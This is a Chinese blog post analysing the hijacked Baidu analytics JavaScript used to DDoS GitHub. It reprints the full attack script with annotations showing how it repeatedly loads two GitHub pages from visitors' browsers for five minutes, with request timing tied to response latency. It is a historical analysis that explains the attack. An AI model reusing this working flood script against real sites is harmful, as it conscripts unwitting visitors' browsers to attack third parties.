百度统计js被劫持用来DDOS Github的JS注释
2024-10-19 04:31:58
前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。
就分析了下JS的执行,发现乌云解析的地方说错了。
文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。
我看了下代码的意思是:
第一次请求,延迟2秒钟请求。
然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。
从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。
你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。
以下为JS的详解(JS很烂,求板砖):
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>"); //加载jQuery
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); //判断windows.jQuery有没有被定义,没有就再加载JQuery
startime = (new Date).getTime(); //获取当前时间戳,毫秒(最初执行时间)
var count = 0; //总请求次数 function unixtime() { //获取一个时间戳
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
} url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; //定义要请求的URL
NUM = url_array.length; // 获取URL数组长度,两个URL function r_send2() {
var a = unixtime() % NUM; //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
get(url_array[a]) //带入URL进入GET函数
} function get(a) { //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
var b; //请求时间差
$.ajax({
url: a, //请求的URL
dataType: "script", //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
timeout: 1E4, //1e4=10000,设置请求超时时间
cache: !0, //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
beforeSend: function() { //发送请求前可修改 XMLHttpRequest 对象的函数
requestTime = (new Date).getTime() //获取当前时间戳,毫秒(请求开始的时间)
},
complete: function() { //请求完成后回调函数
responseTime = (new Date).getTime(); //获取当前时间戳,毫秒(请求完成的时间)
b = Math.floor(responseTime - requestTime); //请求时间差,网络响应慢后面就请求慢了~
3E5 > responseTime - startime && (r_send(b), count += 1) //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
}
})
} function r_send(a) {
setTimeout("r_send2()", a) //等待a毫秒以后执行r_send2()
}
setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
// PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
// PS: 并不是每两秒钟执行一次请求
最新文章
- bootstrap在jsp中的应用
- struts2校验总结
- JSP应用程序(自定义错误页面)
- About javascript closure
- Caffe : Layer Catalogue(2)
- Error:(108) No resource identifier found for attribute &#39;style&#39; in package &#39;android&#39;
- c# 获取移动硬盘信息、监听移动设备的弹出与插入事件
- Android 消息传递之Bundle的使用——实现object对象传输(二)
- android 之 java环境部署
- 【CH6802】车的放置
- Aho-Corasick算法实现(简单关键字过滤)
- 说几个python与c区别的地方以及静态变量,全局变量的区别
- Java基础语法<;七>; 对象与类 封装
- 【Python】【异步IO】
- python-day96--git版本控制
- dev gridview 设置分组
- WordPress基础:去除顶部管理员工具条
- InitComponent的使用
- 深入浅出SharePoint——获取Choice Field的Mapping value
- Java面向对象之关键字static 入门实例